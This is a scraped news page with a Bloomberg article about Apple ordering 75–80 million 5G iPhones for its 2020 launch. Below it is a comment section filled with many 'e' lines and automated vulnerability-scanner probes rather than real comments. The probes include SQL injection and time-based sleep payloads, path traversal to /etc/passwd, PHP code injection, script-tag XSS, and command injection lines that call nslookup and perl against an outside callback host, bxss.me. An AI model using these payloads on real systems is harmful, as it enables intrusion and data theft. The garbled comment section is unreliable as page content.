
(Bloomberg) -- Apple Inc. has asked suppliers to build at least 75 million 5G iPhones for later this year, roughly in line with last year’s launch, in a sign that demand for the company’s most important product is holding up in the midst of the global pandemic and recession.
The Cupertino, California-based technology giant anticipates shipments of these next-generation iPhones may reach as high as 80 million units in 2020, according to people familiar with the situation. Apple plans to launch four new models in October with fifth-generation wireless speeds, a different design and a wider choice of screen sizes, said the people, who asked not to be identified discussing unannounced products.
Among a comprehensive product refresh in the fall, Apple is also preparing a new iPad Air with an edge-to-edge iPad Pro-like screen, two new Apple Watch versions and its first over-ear headphones outside the Beats brand. A smaller HomePod speaker is in the works, too. An Apple spokeswoman declined to comment.
Suppliers to the Silicon Valley giant rose on Tuesday. Taiwan Semiconductor Manufacturing Co. and LG Display Co. closed 2% up, lens supplier Largan Precision Co. climbed 4.1% and headphones assembler Goertek Inc. gained 2.1%. Apple rose 2% at 10:07 a.m. in New York.
Apple and its manufacturing partners always ramp up production ahead of the rollout of new iPhones each fall. In the summer of 2019, suppliers were preparing to make components for as many as 75 million handsets. The target in 2018 was similar, so this year’s goal of 75 million to 80 million units is a bullish sign. Key iPhone assembly partner Hon Hai Precision Industry Co., also known as Foxconn, has put up several notices on WeChat over the past month recruiting workers for its main iPhone campus in the central Chinese city of Zhengzhou.
While the Covid-19 outbreak has hammered the global economy and disrupted supply chains, Apple is seeing strong demand for iPhones, iPads and Mac computers from people working and studying remotely. Revenue from iPhones crushed Wall Street expectations in the most recent quarter. The device still generates almost half of Apple’s sales, and that often tops 60% in the holiday season. Apple shares have soared 76% this year, making it the first U.S. company to surpass $2 trillion in market value.
©2020 Bloomberg L.P.
1067 Comment(s)
e
e
1\'"
\\
@@cup28
JyI=
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
../../../../../../../../../../etc/passwd
../../../../../../../../../../windows/win.ini
e
../e
e
e
e
e
${10000017+9999073}
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
HttP://bxss.me/t/xss.html?%00
e
e
bxss.me/t/xss.html?%00
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
;print(md5(31337));
\';print(md5(31337));$a=\'
)
!(()&&!|*|*|
";print(md5(31337));$a="
^(#$!@#$)(()))******
${@print(md5(31337))}
${@print(md5(31337))}\\
\'.print(md5(31337)).\'
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1some_inexistent_file_with_long_name\0.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt?.jpg
bxss.me
e
e
e
echo btkedl$()\\ scrkir\\nz^xyu||a #\' &echo btkedl$()\\ scrkir\\nz^xyu||a #|" &echo btkedl$()\\ scrkir\\nz^xyu||a #
e
e
&echo rdebxg$()\\ cldzwc\\nz^xyu||a #\' &echo rdebxg$()\\ cldzwc\\nz^xyu||a #|" &echo rdebxg$()\\ cldzwc\\nz^xyu||a #
|echo fhbfyq$()\\ ovkaiv\\nz^xyu||a #\' |echo fhbfyq$()\\ ovkaiv\\nz^xyu||a #|" |echo fhbfyq$()\\ ovkaiv\\nz^xyu||a #
e
(nslookup hitnsjhowoels54c1d.bxss.me||perl -e "gethostbyname(\'hitnsjhowoels54c1d.bxss.me\')")
e
$(nslookup hityhjditvnjx5b361.bxss.me||perl -e "gethostbyname(\'hityhjditvnjx5b361.bxss.me\')")
e
&(nslookup hitnjifsbqgsdcf6db.bxss.me||perl -e "gethostbyname(\'hitnjifsbqgsdcf6db.bxss.me\')")&\'\\"`0&(nslookup hitnjifsbqgsdcf6db.bxss.me||perl -e "gethostbyname(\'hitnjifsbqgsdcf6db.bxss.me\')")&`\'
e
|(nslookup hitxyfxlldtfj90fdb.bxss.me||perl -e "gethostbyname(\'hitxyfxlldtfj90fdb.bxss.me\')")
e
e
`(nslookup hitykkntbrksy90f73.bxss.me||perl -e "gethostbyname(\'hitykkntbrksy90f73.bxss.me\')")`
e
;(nslookup hitjvrphluukja24cb.bxss.me||perl -e "gethostbyname(\'hitjvrphluukja24cb.bxss.me\')")|(nslookup hitjvrphluukja24cb.bxss.me||perl -e "gethostbyname(\'hitjvrphluukja24cb.bxss.me\')")&(nslookup hitjvrphluukja24cb.bxss.me||perl -e "gethostbyname(\'hitjvrphluukja24cb.bxss.me\')")
-1 OR 2+224-224-1=0+0+0+1 --
-1 OR 3+224-224-1=0+0+0+1 --
-1 OR 2+202-202-1=0+0+0+1
-1 OR 3+202-202-1=0+0+0+1
-1\' OR 2+727-727-1=0+0+0+1 --
-1\' OR 3+727-727-1=0+0+0+1 --
-1\' OR 2+654-654-1=0+0+0+1 or \'PYze7pfu\'=\'
-1\' OR 3+654-654-1=0+0+0+1 or \'PYze7pfu\'=\'
-1" OR 2+428-428-1=0+0+0+1 --
e
-1" OR 3+428-428-1=0+0+0+1 --
e
784\'
e
if(now()=sysdate(),sleep(12),0)
e
e
e
0\'XOR(if(now()=sysdate(),sleep(12),0))XOR\'Z
e
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
e
e
e
(select(0)from(select(sleep(12)))v)/*\'+(select(0)from(select(sleep(12)))v)+\'"+(select(0)from(select(sleep(12)))v)+"*/
e
1 waitfor delay \'0:0:12\' --
e
nxWd0pC0\'; waitfor delay \'0:0:12\' --
e
e
e
e
9bqhDYvi\' OR 210=(SELECT 210 FROM PG_SLEEP(12))--
e
e
kwug2ZFC\') OR 74=(SELECT 74 FROM PG_SLEEP(12))--
RBTOLZZW\')) OR 435=(SELECT 435 FROM PG_SLEEP(12))--
e\'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||\'
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
index.php
index.php
e
index.php/.
e
e
e
e
e
e
e
e
e
e\'"()&%<acx><ScRiPt >wuyi(9803)</ScRiPt>
\'"()&%<acx><ScRiPt >wuyi(9348)</ScRiPt>
e9516358
e
e
e
e
e
e
e
e
e
1\'"
\\
@@Ct51r
JyI=
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
../../../../../../../../../../etc/passwd
../../../../../../../../../../windows/win.ini
e
../e
e
e
e
e
e
e
e
e
e
e
${9999416+10000198}
e
e
e
e
e
e
e
e
e
e
e
HttP://bxss.me/t/xss.html?%00
e
bxss.me/t/xss.html?%00
e
e
e
e
e
e
e
e
e
e
e
e
e
e
-1 OR 2+238-238-1=0+0+0+1 --
e
-1 OR 3+238-238-1=0+0+0+1 --
e
-1 OR 2+567-567-1=0+0+0+1
e
-1 OR 3+567-567-1=0+0+0+1
e
-1\' OR 2+612-612-1=0+0+0+1 --
e
-1\' OR 3+612-612-1=0+0+0+1 --
e
-1\' OR 2+610-610-1=0+0+0+1 or \'Hez6pFBb\'=\'
e
-1\' OR 3+610-610-1=0+0+0+1 or \'Hez6pFBb\'=\'
e
-1" OR 2+547-547-1=0+0+0+1 --
e
-1" OR 3+547-547-1=0+0+0+1 --
402\'
if(now()=sysdate(),sleep(12),0)
0\'XOR(if(now()=sysdate(),sleep(12),0))XOR\'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*\'+(select(0)from(select(sleep(12)))v)+\'"+(select(0)from(select(sleep(12)))v)+"*/
1 waitfor delay \'0:0:12\' --
;print(md5(31337));
tfH4hIy8\'; waitfor delay \'0:0:12\' --
\';print(md5(31337));$a=\'
mo6yz1bD\' OR 890=(SELECT 890 FROM PG_SLEEP(12))--
";print(md5(31337));$a="
LfhtjB2r\') OR 362=(SELECT 362 FROM PG_SLEEP(12))--
${@print(md5(31337))}
wMqZs96o\')) OR 203=(SELECT 203 FROM PG_SLEEP(12))--
${@print(md5(31337))}\\
e\'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||\'
\'.print(md5(31337)).\'
e
)
e
!(()&&!|*|*|
^(#$!@#$)(()))******
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e
e